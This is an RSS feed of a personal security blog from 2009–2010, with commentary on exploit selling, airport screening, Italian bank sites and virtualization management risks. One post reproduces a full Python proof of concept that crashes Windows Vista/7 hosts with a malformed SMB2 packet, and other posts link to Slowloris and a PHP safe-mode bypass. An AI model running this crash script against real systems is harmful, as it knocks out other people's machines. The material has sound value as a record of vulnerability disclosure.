Mod-Blackurity (without imported items) http://blackfire.soup.io/ Mod-Blackurity (without imported items) http://blackfire.soup.io/ http://asset.soup.io/asset/0007/2491_b2ae.png 72 72 (Lots of) Thoughts and (a few) rants about those shiny things we call computers (Image) <p><a href=""><img alt="6503_7881_400" height="136" src="http://asset.soup.io/asset/0693/6503_7881_400.png" width="400" /></a></p> <p></p>Fri, 19 Feb 2010 09:37:27 GMThttp://blackfire.soup.io/post/45532633/Imageurn:www-soup-io:1:45532633image Once you're sold, you can't stop. Some of you know I'm quite hostile towards selling exploits and vulnerabilities.<br />I've debated the thing with a lot of friends, and still can't see the actual difference with selling weapons, nor I can buy the "I get paid for my work" attitude. I can see too many flaws in the logic... but never mind, this is not the point of the post.<br /><br />I've just been made aware of GenApple, <a href="https://www.genapple.com/">https://www.genapple.com/</a>. GenApple is a startup allowing people to sell their knowledge.<br />Right now, the site is full of recipes, cheat codes and "how to get rich fast" documents.<br /><br />However, it made me wonder: what if the underground community actually starts using one of these tools?<br />It is a scenario that cyberpunk readers are familiar with: in Stephenson's Snow Crash selling data is what the main character (Hiro Protagonist, btw) does for a living.<br />But what if all of sudden such scenario goes real?<br /><br />Right now, hackers go to conferences for free (well, most of them and most of the conferences). They share their knowledge for the sake of it, and for a little celebrity maybe, which in turn can become money at some point.<br />Yet, the hacker community has always been driven by the idea that "information wants to be free". Maybe not for everybody - we've always got "inner circles of whatever" - but yet miles away from the idea of actually selling a new attack or defense technique.<br /><br />People advocating selling exploits always told me: I'm only selling the actual code, I'll let the technique out and skilled people and the security community as a whole can then write the code and find the bug by themselves. As a "science", security will go on anyway, they told me.<br />Now I wonder: if they were actually offered money for their techniques - say, $10k for a way to bypass stack protection on VISTA or something similar - what would they do?<br /><br />A lot of people say that some hackers resemble rock stars. In the rock/metal community, there's a saying: "to sell out". I wonder if the same is true for knowledge, not just for code. Once you sell out, it's hard to stop.<br />No more free bugs. No more free techniques. No more free security. No more security?Fri, 15 Jan 2010 09:54:08 GMThttp://blackfire.soup.io/post/41720650/Once-youre-sold-you-cant-stopurn:www-soup-io:1:41720650regular Since there's a lot of bullshit flying around... I figured I would share some thoughts here on what happened in airports (and mainly on the media) since December 25.<br /><br />First, let's recapitulate <a href="http://www.examiner.com/x-22397-Providence-Business-News-Examiner%7Ey2009m12d26-Federal-criminal-charges-filed-against-Abdulmutalla-Northwest-Flight-253-terrorism-attempt-VIDEO">what</a> <a href="http://news.bbc.co.uk/2/hi/8430612.stm">happened</a> (to the best of our knowledge): a young man, Umar Farouk Abdulmutalla, 23 years old from Nigeria, tried to ignite an explosive mixture, part of which he brought on board in his trouser or pants, and part in a syringe of liquid.<br /><br />He was stopped by the reaction of the passengers and the crew (which is one of the implicit security measures implemented after 9/11, when we learned that suicide terrorists could seize planes; along with armored cabin doors, one of the two effective measures adopted afterwards).<br /><br />He was also apparently unable to set off the device, which was apparently not working. <strong>This is not a secondary note</strong>. The device was not working <strong>because of the screening </strong>at airports (mainly, the magnetometer screening), which makes it difficult to bring on board metallic detonators.<br /><br />So this case is an excellent example of how the current security measures <strong>were able to foil a terrorism attempt</strong>.<br /><br />Since a lot of idiotic things have been said, the youngster wasn't on the no-fly list, because there simply wasn't enough evidence to place him on it. <strong>He held a valid visa,</strong> and was regularly boarded. If you wish to deny boarding to anybody with just one alert flag raised, you'd better spend a lot of money on trains, because there's a lot of people who will be grounded (in most cases, without any reason). You are also introducing a "guilty until proven innocent" approach which is not extremely pleasant, either.<br /><br />It is simply impossible to connect all the dots that we are connecting now, beforehand, for each single passenger. <strong>It doesn't scale.</strong> Forensic investigations are easier than prevention, it is a fact of life.<br /><br />It is similarly idiotic to <a href="http://www.thestar.com/news/world/article/744199---israelification-high-security-little-bother">advocate implementing the same security measures they run in Israel</a>, for instance, in all airports worldwide. <strong>They simply don't scale</strong>:El Al is a small, well-run airline, with 38 aircraft, 46 destinations, and fewer than two million passengers a year. That's smaller than Alitalia, and this says a lot. Delta (now merged with Northwest) has hundreds and hundreds of planes, flying to somewhere close to a thousand cities. They don't scale airport-wise either. Ben Gurion, Israel’s primary international airport, serves between 10 and 12 million passengers. Amsterdam serves 5 times as much, most times on connecting flights, and I don't even want to think about Atlanta!<br /><br />This is not to say airport security is as good as it should be. There's a lot of things you could do better (for instance you could screen passengers at the gate, so you don't create crowds, and <a href="http://www.nytimes.com/2010/01/04/nyregion/04newark.htm">if something goes wrong</a> you don't have to evacuate an entire airport to fix it).<br /><br />It costs more, sure, but nowhere near what the new "body imaging scanners" will cost us. Sure, what's the cost, if it makes us more secure? Well, there's a couple of points worth making.<br /><br />Firstly, the full scanners <a href="http://www.independent.co.uk/news/uk/home-news/are-planned-airport-scanners-just-a-scam-1856175.html">wouldn't stop another bomber</a> such as Umar Farouk Abdulmutalla. It's not me saying it, nor some other silly security expert. It's a company who has been developing those scanners, QinetiQ. It's worth repeating: <strong>had the Christmas Bomber gone through those new shiny scanners, they wouldn't have catched him</strong>. Just for reference, here are the links on the two technologies that can be used: <a href="http://en.wikipedia.org/wiki/Millimeter_wave_scanner">Millimeter wave</a>, or <a href="http://en.wikipedia.org/wiki/Backscatter_X-ray">Backscatter X-Ray</a>. The scanner QinetiQ tested is the first one, which is also the one likely to be deployed because it creates less health risks. The other however is likely to be just as ineffective against such explosive materials as the one used by Umar Farouk.<br /><br />In second place, even if our own Minister Frattini (a notorious <a href="http://www.reuters.com/article/idUSL1055133420070910">expert on freedom and technology</a>) begs to differ, since privacy (more accurately, the right to preserve your dignity, in this case) is a significant part of your personal security, <strong>sacrificing privacy to obtain security is like fucking for virginity</strong>. If you sacrifice privacy, you damn well want to make sure you are gaining a lot from it. In this case you are gaining nothing at all. And I don't even want to think about <a href="http://www.huffingtonpost.com/2010/01/05/child-porn-fears-limit-fu_n_411769.html">child pornography</a> issues.<br /><br />I don't even wish to comment on the <a href="http://www.economist.com/blogs/gulliver/2009/12/the_latest_on_flight_253">idiotic restrictions planned by TSA</a>, and immediately broadcast by our idiotic media, such as keeping people sitting down (and peeing their pants, if needed) for an hour; preventing them to have a book in their lap; or shutting down WiFi (DAMN!!! They just finally got around to roll it out!). As Bruce said on <a href="http://www.schneier.com/blog/">the new restrictions</a>: "I wish that, just once, some terrorist would try something that you can only foil by upgrading the passengers to first class and giving them free drinks".<br /><br />After public outcry, someone got back into their minds over at TSA and they rolled back those restriction, rolling out instead two other wonderful ideas:<br />1) randomized checks, which were <a href="http://www.crypto.com/blog/random">promptly debunked</a> by Matt Blaze<br />2) a racist approach to profiling, whereby citizens of <a href="http://roomfordebate.blogs.nytimes.com/2010/01/04/will-profiling-make-a-difference/">14 more-or-less random nations</a> will be subject to <a href="http://www.nytimes.com/2010/01/05/us/05tsa.html">pat down searches</a>. Debunked by Schneier and others (because of course it's ineffective from the beginning: think of the "sneaker bomber" Reid who was a British citizen...), this has another nice effect: turns out that <a href="http://www.businessweek.com/ap/financialnews/D9CV6QU80.htm">pat down searches are actually less effective</a> than other measures, not more effective.<br /><br />So, while we wait for President Obama (who has shown to be a sensible and cautious leader during this turmoil) to do the right thing to make flying safer and more comfortable, and <a href="http://gizmodo.com/5435675/president-obama-its-time-to-fire-the-tsa">close down TSA completely</a>, what can we do to protect ourselves from <strong>terror</strong>ism, which is called like that for a reason?<br /><br />It's pretty simple. <strong>Refuse to be terrorized</strong>. Flying is safer than driving to the airport. Flying is probably safer than standing in line for the security checks, for all we know. <br /><br />Flying is surely safer than having incompetent, freedom-disdeigning, unprofessional and idiotic politicians in charge. Quousque tandem?<p>[Reposted from <span class="user_container user4193" ><a class="" href="http://raistlin.soup.io/post/40573218/Since-theres-a-lot-of-bullshit-flying"><span class="name">raistlin</span></a></span>]</p>Wed, 06 Jan 2010 16:19:45 GMThttp://blackfire.soup.io/post/40590464/Since-theres-a-lot-of-bullshit-flyingurn:www-soup-io:1:40590464regular (Image) <p><a href=""><img alt="4434_5fac_400" height="178" src="http://asset.soup.io/asset/0621/4434_5fac_400.png" width="400" /></a></p> <p></p>Tue, 05 Jan 2010 10:20:25 GMThttp://blackfire.soup.io/post/40425175/Imageurn:www-soup-io:1:40425175image Hey pal, this was one of the things we've evaluated when we've built the Masi... <p>[Reposted from <span class="user_container user4193" ><a class="" href="http://raistlin.soup.io/post/37250711/GreenSQL-Open-Source-Database-Security-SQL-Injection"><span class="name">raistlin</span></a></span>]</p>Hey pal, this was one of the things we've evaluated when we've built the Masibty SQL module, remember? We're doing better by design (but their is released, ours isn't, which beats us a ton to 0) :-)Tue, 08 Dec 2009 23:40:32 GMThttp://blackfire.soup.io/post/37287487/Hey-pal-this-was-one-of-theurn:www-soup-io:1:37287487regular A screenshot from the registration process at my new bank, let me translate t... <p><a href=""><img alt="4212_049a_400" height="106" src="http://asset.soup.io/asset/0563/4212_049a_400.jpeg" width="400" /></a></p> <p>A screenshot from the registration process at my new bank, let me translate this for you. "In order to verify your password is strong enough, search for it on Google and check if there are less than 10 results then it's a good password." I won't even go into detailed comments on this one, it speaks for itself. <br /><br />The better part? <br />The whole homebanking portal does not have a clue about sslstripping: no way to directly get in through SSL, you HAVE to do so in HTTP. Even better, once you login you get an iframe based website where the frame container is http (so it's http in your address bar) and the frames are HTTPS... hopefully! Ok, time to recode my own https client for their portal... WTF, I can't find even one good hb portal in Italy.<br /> Either they don't work, or I know they're exploitable or they're utterly insane!</p>Sun, 29 Nov 2009 12:22:12 GMThttp://blackfire.soup.io/post/36173798/A-screenshot-from-the-registration-process-aturn:www-soup-io:1:36173798image BEST <object height="350" width="425"><param name="movie" value="http://www.youtube.com/v/aM1A3I-QSnk" /><param name="wmode" value="transparent" /><embed src="http://www.youtube.com/v/aM1A3I-QSnk" wmode="transparent" type="application/x-shockwave-flash" height="350" width="425" /></object>BEST<br />CASE<br />EVERMon, 28 Sep 2009 20:52:03 GMThttp://blackfire.soup.io/post/29905123/BESTurn:www-soup-io:1:29905123video A stick figure guide to AES <p><a href="http://www.moserware.com/2009/09/stick-figure-guide-to-advanced.html"><img alt="0728_5227_400" height="313" src="http://asset.soup.io/asset/0478/0728_5227_400.png" width="400" /></a></p> <p>A stick figure guide to AES</p>Sun, 27 Sep 2009 16:54:31 GMThttp://blackfire.soup.io/post/29775704/A-stick-figure-guide-to-AESurn:www-soup-io:1:29775704image "All'INPS è già un traguardo arrivare al risponditore automatico. E spesso non..." <p>"All'INPS è già un traguardo arrivare al risponditore automatico. E spesso non risponde manco quello.<br />L'ultima frontiera della voglia di lavorare."</p><p>&ndash;Silvia</p>Mon, 14 Sep 2009 09:22:11 GMThttp://blackfire.soup.io/post/28470774/AllINPS-gi-un-traguardo-arrivare-al-risponditoreurn:www-soup-io:1:28470774quote Microsoft  and Cisco finally patched Sockstress' vulnerability (Outpost 24 an... Microsoft  and Cisco finally patched Sockstress' vulnerability (Outpost 24 and such). Still years of fun with twenty years old attacks to go.Wed, 09 Sep 2009 16:58:30 GMThttp://blackfire.soup.io/post/27999449/Microsoft-and-Cisco-finally-patched-Sockstress-vulnerabilityurn:www-soup-io:1:27999449regular The Vista / 7 which is actually 2008 as well is actually REMOTE CODE EXECUTION, not DOS. The Vista / 7 which is actually 2008 as well is actually REMOTE CODE EXECUTION, not DOS. <br />Oh My GOD!Wed, 09 Sep 2009 16:53:03 GMThttp://blackfire.soup.io/post/27999041/The-Vista-7-which-is-actually-2008urn:www-soup-io:1:27999041regular Windows 7 / Vista Remote DOS 0-Day #Credits to Laurent Gaffie<br />Smb-Bsod.py:<br /><br />#!/usr/bin/python<br /># When SMB2.0 recieve a "&amp;" char in the "Process Id High" SMB header field<br />it dies with a<br /># PAGE_FAULT_IN_NONPAGED_AREA<br /><br />from socket import socket<br />from time import sleep<br /><br />host = "IP_ADDR", 445<br />buff = (<br />"\x00\x00\x00\x90" # Begin SMB header: Session message<br />"\xff\x53\x4d\x42" # Server Component: SMB<br />"\x72\x00\x00\x00" # Negociate Protocol<br />"\x00\x18\x53\xc8" # Operation 0x18 &amp; sub 0xc853<br />"\x00\x26"# Process ID High: --&gt; :) normal value should be "\x00\x00"<br />"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"<br />"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"<br />"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"<br />"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"<br />"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"<br />"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"<br />"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"<br />"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"<br />"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"<br />"\x30\x30\x32\x00"<br />)<br />s = socket()<br />s.connect(host)<br />s.send(buff)<br />s.close()Tue, 08 Sep 2009 16:03:57 GMThttp://blackfire.soup.io/post/27887952/Windows-7-Vista-Remote-DOS-0-Dayurn:www-soup-io:1:27887952regular Remote DOS via Linux PAM <p>I wonder the size of the impact, could be huge! (apart from the "funny" escalation condition...)</p> <p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0887">http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0887</a></p>Tue, 08 Sep 2009 15:54:22 GMThttp://blackfire.soup.io/post/27887011/Remote-DOS-via-Linux-PAMurn:www-soup-io:1:27887011link Oct 21, 2009: SEaCURE.it Preview 2009-10-21T08:00:00+0000 2009-10-23T19:00:00+0000 SEaCURE.it Preview The first international information security conference in Italy. 2 days of top notch trainings (SAP and Oracle hacker-level security) and 1 day of conference with bleeding edge talks (Snow Leopard hacking, SAP exploiting and great insights on the underground economy, among the others). Milano, FieraMilanoCity http://asset.soup.io/asset/0454/9043_14fb.jpeg <p><img alt="9043_14fb" height="109" src="http://asset.soup.io/asset/0454/9043_14fb.jpeg" width="293" /></p><p>08:00&ndash;Oct 23, 2009 19:00 @ Milano, FieraMilanoCity</p><p>The first international information security conference in Italy. 2 days of top notch trainings (SAP and Oracle hacker-level security) and 1 day of conference with bleeding edge talks (Snow Leopard hacking, SAP exploiting and great insights on the underground economy, among the others). </p>Tue, 08 Sep 2009 12:04:44 GMThttp://blackfire.soup.io/post/27866627/Oct-21-2009-SEaCURE-it-Previewurn:www-soup-io:1:27866627event via Petabytes on a budget: How to build cheap cloud storage | Backblaze Blog <p><a href="http://blog.backblaze.com/2009/09/01/petabytes-on-a-budget-how-to-build-cheap-cloud-storage/"><img alt="2866_ff77_400" height="268" src="http://asset.soup.io/asset/0448/2866_ff77_400.jpeg" width="400" /></a></p> <p>via <a href="http://blog.backblaze.com/2009/09/01/petabytes-on-a-budget-how-to-build-cheap-cloud-storage/">Petabytes on a budget: How to build cheap cloud storage | Backblaze Blog</a></p><p>[Reposted from <span class="user_container user59995" ><a class="" href="http://FreXxX.soup.io/post/27322098/via-Petabytes-on-a-budget-How-to"><span class="name">FreXxX</span></a></span> via <span class="user_container user28298" ><a class="" href="http://fbogner.soup.io/post/27611555/via-Petabytes-on-a-budget-How-to"><span class="name">fbogner</span></a></span>]</p>Tue, 08 Sep 2009 11:59:17 GMThttp://blackfire.soup.io/post/27866183/via-Petabytes-on-a-budget-How-tourn:www-soup-io:1:27866183image Sign from God <p><a href=""><img alt="3000_81c5_400" height="300" src="http://asset.soup.io/asset/0293/3000_81c5_400.jpeg" width="400" /></a></p> <p>Sign from God</p><p>[Reposted from <span class="user_container user133675" ><a class="" href="http://torskee.soup.io/post/17717789/Sign-from-God"><span class="name">torskee</span></a></span> via <span class="user_container user48389" ><a class="" href="http://soup.fruehlingsrolle.cn/post/27813919/Sign-from-God"><span class="name">wolfhesse</span></a></span>]</p>Tue, 08 Sep 2009 11:55:35 GMThttp://blackfire.soup.io/post/27865945/Sign-from-Godurn:www-soup-io:1:27865945image The Titan Engine <p><a href="http://www.reversinglabs.com/products/TitanEngine.php">http://www.reversinglabs.com/products/TitanEngine.php</a></p>Tue, 08 Sep 2009 11:54:10 GMThttp://blackfire.soup.io/post/27865797/The-Titan-Engineurn:www-soup-io:1:27865797link (Image) <p><a href=""><img alt="1393_76c6_400" height="299" src="http://asset.soup.io/asset/0447/1393_76c6_400.jpeg" width="400" /></a></p> <p></p><p>[Reposted from <span class="user_container user149212" ><a class="" href="http://wojtku.soup.io/post/27212312/Image"><span class="name">wojtku</span></a></span> via <span class="user_container user48389" ><a class="" href="http://soup.fruehlingsrolle.cn/post/27496064/Image"><span class="name">wolfhesse</span></a></span>]</p>Fri, 04 Sep 2009 17:26:29 GMThttp://blackfire.soup.io/post/27504758/Imageurn:www-soup-io:1:27504758image (Image) <p><a href="http://imgur.com/6zjNO.jpg"><img alt="9227_e240_400" height="253" src="http://asset.soup.io/asset/0420/9227_e240_400.jpeg" width="400" /></a></p> <p></p><p>[Reposted from <span class="user_container user4193" ><a class="" href="http://raistlin.soup.io/post/25093767/Image"><span class="name">raistlin</span></a></span> via <span class="user_container user48389" ><a class="" href="http://soup.fruehlingsrolle.cn/post/27501841/Image"><span class="name">wolfhesse</span></a></span>]</p>Fri, 04 Sep 2009 17:25:51 GMThttp://blackfire.soup.io/post/27504707/Imageurn:www-soup-io:1:27504707image An article by my old friend Alessio <p><a href="http://www.cultumedia.it/speciali/92-re-a-volte-ritornano-/684-gorbacev-contro-baggio-gli-anni-90-fuori-di-casa.html">http://www.cultumedia.it/speciali/92-re-a-volte-ritornano-/684-gorbacev-contro-baggio-gli-anni-90-fuori-di-casa.html</a></p>Tue, 01 Sep 2009 13:26:52 GMThttp://blackfire.soup.io/post/27121442/An-article-by-my-old-friend-Alessiourn:www-soup-io:1:27121442link Just installed apache2.2.12 on Ubuntu Jaunty to enable NSI: just add the karm... Just installed apache2.2.12 on Ubuntu Jaunty to enable NSI: just add the karmic repository to apt sources and apt-get install apache2.2-binTue, 01 Sep 2009 09:26:18 GMThttp://blackfire.soup.io/post/27102112/Just-installed-apache2-2-12-on-Ubuntuurn:www-soup-io:1:27102112regular Slowloris, blocking Apache with just one computer. <p><a href="http://ha.ckers.org/slowloris/">http://ha.ckers.org/slowloris/</a></p>Sun, 30 Aug 2009 10:32:05 GMThttp://blackfire.soup.io/post/26890288/Slowloris-blocking-Apache-with-just-one-computerurn:www-soup-io:1:26890288link Using StartSSL free certificates on dovecot In order for everything to work properly, you have to chain all the certificates in the same file, like this<br />cat Your_cert.pem Chain_oF_Certificates.pem CA.pem &gt; cert_for_dovecot.pem<br />And that's it.Thu, 27 Aug 2009 10:53:38 GMThttp://blackfire.soup.io/post/26604013/Using-StartSSL-free-certificates-on-dovecoturn:www-soup-io:1:26604013regular Reference based compression Thinking about reference-based compression. Each sequence of bytes is not stored in the file but referenced with an URL to an external resource and starting and ending byte. I wonder if it would work or we've not yet enough entropy on the internet (or maybe our search engines won't allow for such a research).Sat, 15 Aug 2009 17:15:32 GMThttp://blackfire.soup.io/post/25586679/Reference-based-compressionurn:www-soup-io:1:25586679regular Storing binary files via tweeter <p>I was thinking about sharing some file directly through tweeter, started coding the PHP base64 stuff, then decided to check if it was new stuff or not. Turns out, it wasn't. :P</p> <p><a href="http://lukehatcher.com/2009/05/storing-binary-data-in-twitter/">http://lukehatcher.com/2009/05/storing-binary-data-in-twitter/</a></p>Sat, 15 Aug 2009 17:13:49 GMThttp://blackfire.soup.io/post/25586645/Storing-binary-files-via-tweeterurn:www-soup-io:1:25586645link Real world security in a virtual infrastructure I've just posted a new article on my column @ virtualization.info.<br /><p>Welcome back to the new virtualization.info security column. We started with a series about the real-worlds security risks of virtual infrastructures and <a href="http://www.virtualization.info/2009/07/real-world-security-in-virtual.html">our first part</a>, published last week, was specifically about the risks related to the virtual machines templates. <br />Today it’s time to talk about the risks of virtual infrastructures management interfaces.</p> <p>Most of the security experts working in the virtualization industry have none but one nightmare: guest-to-host exploitation. <br />That is, an almost magical attack which can be run from a guest virtual machine - maybe even with non-administrative privileges -resulting in the attacker taking over the host system. This is by far the most dreaded situation, the one incarnating every fear, the one triggering the "I said so" quote from the virtualization skeptics. <br />While we already have seen such an event at least once with the <a href="http://www.immunityinc.com/documentation/cloudburst-vista.html">Cloudburst exploit</a>, its impact has been limited to a specific, desktop oriented product, leaving enterprises safe and security administrators wondering. <br />Such attacks are regarded as the Holy Grail, the Real Issue from a technical perspective: researchers are presenting incredibly advanced attacks leveraging hardware issues and defeating low-level instruction set security. </p> <!-- MORE --> <p>However, in my opinion these concerns and attacks, even though they surely have a place in the whole scheme of virtualization security, are dramatically overstated. <br />Almost no one, until now, has seriously analyzed what could be considered as being the most important threat to virtualization environments: support and management infrastructures vulnerabilities. <br />Hypervisors are notoriously complex pieces of software, quite hard to attack: they can easily be minimal (it has even been said that most amount to an handful of thousands line of code), often written by hardcore coders who have strong security and software engineering skills and maybe running over some rather obscure operating system (see the <a href="http://www.virtualization.info/2008/05/xen-will-never-be-part-of-linux.html">Nemesis-XEN case</a>). </p> <p>While this is not always true for every virtualization software, an attacker usually has an extremely hard time finding flaws in these systems - let alone develop a reliable exploit which can be "safely" used in an enterprise environment without the risk of a noisy denial of service side-effect. <br />Aggressors, however, are very fond of attacking the soft spots in hardened architectures. In the case of virtualization, the soft spots often are those providing management functions or supporting non-core functionalities. </p> <p>If we take a look at the security advisories released by virtualization vendors we have multiple examples supporting this claim. VMware ESX, for example, has been vulnerable to a remote attack which could lead to exploitation and takeover of the host system: <a href="http://www.vmware.com/security/advisories/VMSA-2008-0015.html">the vulnerability</a>, two buffer overflows, lied in the Openwsman component in both ESXi and ESX and could result in remote code execution, which in turn means host and guests takeover (something that will further explore in a future article of this series).</p> <p>We should not forget that even if hypervisor vendors are rewriting large chunks of code for basic services as well, they are still leveraging standard technologies for core functionalities: the Openwsman bug was discovered by the Novell SUSE security team and is otherwise unrelated to virtualization technologies. <br />That is, non-virtualization issues are suddenly very, very interesting for virtualization-specific security. </p> <p>Yet, there's more: web interfaces. <br />As the security industry is well aware of, web applications are by far the biggest source of attacks these days. A lot can be said about the reasons for this low level of security, but for our analysis we will just take it for granted: a lot - most - of web applications are affected by security bugs. Even well-known, audited applications which have been around for years without significant changes to their code base. New attacks are developed (nobody knew about <a href="http://www.slideshare.net/Wisec/http-parameter-pollution-a-new-category-of-web-attacks">HTTP Parameter Pollution</a> some months ago) and known attack vectors are refined, thus potentially exposing even very secure web applications to new risks. <br />What's more, the application stack is often a prime target for attackers, being so complex and thus error-prone: exploits aimed at application servers are on the rise and the mean time between critical bugs being discovered on such software is quite short comparing to the industry average. </p> <p>This is exactly the environment where management web interfaces are living. Most virtualization vendors are providing – either as a core part of their virtualization solution or as an external "plugin", appliance or similar artifacts - web interfaces capable of performing at the very least some core administrative tasks like starting up or shutting down virtual machines. <br />These interfaces are nothing more than web applications running on nothing less than a full fledged application server stack: even though some of the daemons serving the application can totally or partially be custom made, most of the times we are only seeing standard web and application servers. It must also be noted that custom made code, when handling such a difficult challenge as running a web and application server, has been shown to have a lower level of security of most standard solutions. </p> <p>What is, then, a real-world aggressor going to attack? Most likely, he is going to hunt for issues in the web-based management interface or the underlying stack, which are by far the easiest prey. <br />While it is surely true that most vendors are strongly encouraging users to restrict access to administrative consoles on a management network, this best practice has not yet been backed up by real threats and is thus largely ignored. <br />Unfortunately, attacks against management interfaces are showing up more and more frequently - like the recent <a href="http://www.securityfocus.com/archive/1/504764/30/0/threaded">XENCenterWeb exploits</a> - and what's even more of a threat to organizations, most of them will work on older releases as well. Even if virtualization vendors promptly patch security issues in, say, Tomcat, there still will be a certain vulnerability window while the upgrade is tested and deployed. Previous experience tells us that vendors are taking as long as 5 months to release a security fix in an application server running a web-based management interface once it has been made available by its developers. </p> <p>Is this a real issue "today"? Should you make sure no interface can be ever reached from the network? Definitely. <br />Webapp-targeted 0-Day attacks (that is, attacks which are unknown to the community since they leverage undisclosed and thus unpatched bugs)  are way more common than old fashioned exploits targeting network daemons, and the timeframe between disclosure of a bug affecting an application server or of a new web application attack technique and the development of working exploits is very, very narrow... </p> <p>Virtualization users should stop worrying about unlikely or extremely complex attacks - at least until they become feasible for the average skilled attacker - and start taking care of those low hanging fruits their interfaces are giving to aggressors. <br />A worm for web-based virtualization management interfaces is just a couple of public exploits away from now.</p>Thu, 16 Jul 2009 19:08:11 GMThttp://blackfire.soup.io/post/23363994/Real-world-security-in-a-virtual-infrastructureurn:www-soup-io:1:23363994regular The power of stupidity. <p><a href="http://gandalf.it/stupid/book.htm">http://gandalf.it/stupid/book.htm</a></p>Tue, 30 Jun 2009 13:10:23 GMThttp://blackfire.soup.io/post/22330942/The-power-of-stupidityurn:www-soup-io:1:22330942link Stupefacente <object height="370" width="450"><param name="movie" value="http://www.liveleak.com/e/adf_1245828170" /><param name="wmode" value="transparent" /><embed src="http://www.liveleak.com/e/adf_1245828170" wmode="transparent" type="application/x-shockwave-flash" height="370" width="450" /></object>StupefacenteThu, 25 Jun 2009 17:10:32 GMThttp://blackfire.soup.io/post/22046400/Stupefacenteurn:www-soup-io:1:22046400video I don't usually do politics here, but this is too damned funny <embed src="http://www.pdcitv.it/nvembed.swf?config=http://www.pdcitv.it/nuevo/econfig.php?key=9fcbe7aa45b1ceea088c" allowfullscreen="true" wmode="transparent" type="application/x-shockwave-flash" allowscriptaccess="always" height="360" width="450" /> I don't usually do politics here, but this is too damned funnyTue, 26 May 2009 15:00:33 GMThttp://blackfire.soup.io/post/20006069/I-dont-usually-do-politics-here-buturn:www-soup-io:1:20006069video Best business card video ever, this time for real :D <object height="350" width="425"><param name="movie" value="http://www.youtube.com/v/KVzsHTCz4Sg" /><param name="wmode" value="transparent" /><embed src="http://www.youtube.com/v/KVzsHTCz4Sg" wmode="transparent" type="application/x-shockwave-flash" height="350" width="425" /></object>Best business card video ever, this time for real :DTue, 21 Apr 2009 10:43:27 GMThttp://blackfire.soup.io/post/17655154/Best-business-card-video-ever-this-timeurn:www-soup-io:1:17655154video Best business card video ever.. almost <object height="350" width="425"><param name="movie" value="http://www.youtube.com/v/4YBxeDN4tbk" /><param name="wmode" value="transparent" /><embed src="http://www.youtube.com/v/4YBxeDN4tbk" wmode="transparent" type="application/x-shockwave-flash" height="350" width="425" /></object>Best business card video ever.. almostTue, 21 Apr 2009 10:43:04 GMThttp://blackfire.soup.io/post/17655143/Best-business-card-video-ever-almosturn:www-soup-io:1:17655143video "New tools and vulnerabilities presented at Black Hat EU this year include:  -..." <p>"<p>New tools and vulnerabilities presented at Black Hat EU this year include:</p> <p> - New Tool<br /> – Masibty: a Web Application Firewall Based on Anomaly Detection by<br /> Stefano Zanero and Claudio Criscione - New Tool</p>"</p><p>&ndash;<a href="http://www.itmanagement.com/blog/20090410/new-vulnerabilities-and-tools-on-showcase-at-black-hat-europe/">IT Management » Blog Archive » New Vulnerabilities and Tools on Showcase at Black Hat Europe</a></p><p>[Reposted from <span class="user_container user4193" ><a class="" href="http://raistlin.soup.io/post/17122853/New-tools-and-vulnerabilities-presented-at-Black"><span class="name">raistlin</span></a></span>]</p>Mon, 13 Apr 2009 18:49:33 GMThttp://blackfire.soup.io/post/17220290/New-tools-and-vulnerabilities-presented-at-Blackurn:www-soup-io:1:17220290quote Things happen rama rama. Drop a line if I can help. <p>[Reposted from <span class="user_container user6421" ><a class="" href="http://snagg.soup.io/post/17133562/My-mbp-just-broke-down-need-to"><span class="name">snagg</span></a></span>]</p>Things happen rama rama. Drop a line if I can help.Mon, 13 Apr 2009 18:49:28 GMThttp://blackfire.soup.io/post/17220276/Things-happen-rama-rama-Drop-a-lineurn:www-soup-io:1:17220276regular PHP SafeMod bypass using CURL <p><a href="http://securityreason.com/achievement_exploitalert/11">http://securityreason.com/achievement_exploitalert/11</a></p>Fri, 10 Apr 2009 19:09:52 GMThttp://blackfire.soup.io/post/17066519/PHP-SafeMod-bypass-using-CURLurn:www-soup-io:1:17066519link This one is even better: an easter Platypus! <p><a href="http://www.studioplatypus.it"><img alt="7178_0e6e_400" height="202" src="http://asset.soup.io/asset/0283/7178_0e6e_400.jpeg" width="400" /></a></p> <p>This one is even better: an easter Platypus!</p>Fri, 10 Apr 2009 16:13:24 GMThttp://blackfire.soup.io/post/17058437/This-one-is-even-better-an-easterurn:www-soup-io:1:17058437image Pure genius! Downloadable Memory game <p><a href="http://www.studioplatypus.it/download/page6.html"><img alt="7174_af59_400" height="202" src="http://asset.soup.io/asset/0283/7174_af59_400.jpeg" width="400" /></a></p> <p>Pure genius! Downloadable Memory game</p>Fri, 10 Apr 2009 16:11:43 GMThttp://blackfire.soup.io/post/17058375/Pure-genius-Downloadable-Memory-gameurn:www-soup-io:1:17058375image For anyone fighting with 1GB ESXi hosts <p><a href="http://www.jeremyroe.net/?p=102">http://www.jeremyroe.net/?p=102</a></p>Wed, 01 Apr 2009 09:02:50 GMThttp://blackfire.soup.io/post/16534063/For-anyone-fighting-with-1GB-ESXi-hostsurn:www-soup-io:1:16534063link (Image) <p><a href="http://imagechan.com/img/6820/Die%20Homo/"><img alt="5294_e032_400" height="314" src="http://asset.soup.io/asset/0274/5294_e032_400.jpeg" width="400" /></a></p> <p></p><p>[Reposted from <span class="user_container user27220" ><a class="" href="http://wytukaze.soup.io/post/16371688/80-approval-rating"><span class="name">wytukaze</span></a></span> via <span class="user_container user28298" ><a class="" href="http://fbogner.soup.io/post/16443371/Image"><span class="name">fbogner</span></a></span>]</p>Wed, 01 Apr 2009 09:02:21 GMThttp://blackfire.soup.io/post/16534056/Imageurn:www-soup-io:1:16534056image US-CERT Vulnerability Note VU#845747 